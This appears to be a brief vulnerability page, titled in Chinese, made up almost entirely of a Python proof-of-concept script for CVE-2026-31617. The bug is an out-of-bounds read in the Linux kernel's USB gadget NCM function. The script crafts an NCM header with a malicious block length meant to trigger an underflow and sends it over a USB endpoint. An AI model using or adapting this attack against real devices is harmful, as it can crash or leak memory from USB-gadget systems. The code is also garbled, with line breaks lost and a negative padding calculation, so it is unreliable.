Linux内核USB gadget f_ncm越界读取漏洞

#!/usr/bin/env python3 # Conceptual PoC for triggering CVE-2026-31617 # Requires a malicious USB host setup import usb.core import struct def send_malicious_ntb(dev, endpoint): # NCM Header structure # dwSignature: 0x484D434E (NCMH) # wHeaderLength: 0x0010 (16 bytes) # wSequence: arbitrary # wBlockLength: CRITICAL - set to a small value (e.g., 4) to trigger underflow # wNdpIndex: arbitrary offset pointing outside the small block # Normal block_len is usually > 512. Setting it to 4 < ndp_size causes underflow. malicious_block_len = 4 header = struct.pack('<IHHHH', 0x484D434E, # Signature 16, # Header Length 1, # Sequence malicious_block_len, # Malicious Block Length 16 # NDP Index (Offset) ) # Construct the full malformed packet # This attempts to force the kernel to calculate (4 - ndp_size) which underflows payload = header + b'\x00' * (malicious_block_len - 16) try: dev.write(endpoint, payload, timeout=1000) print("[+] Malicious NCM packet sent.") except usb.core.USBError as e: print(f"[-] Error sending packet: {e}") # Note: This is a conceptual demonstration. # Actual exploitation requires the target to be in USB Gadget mode.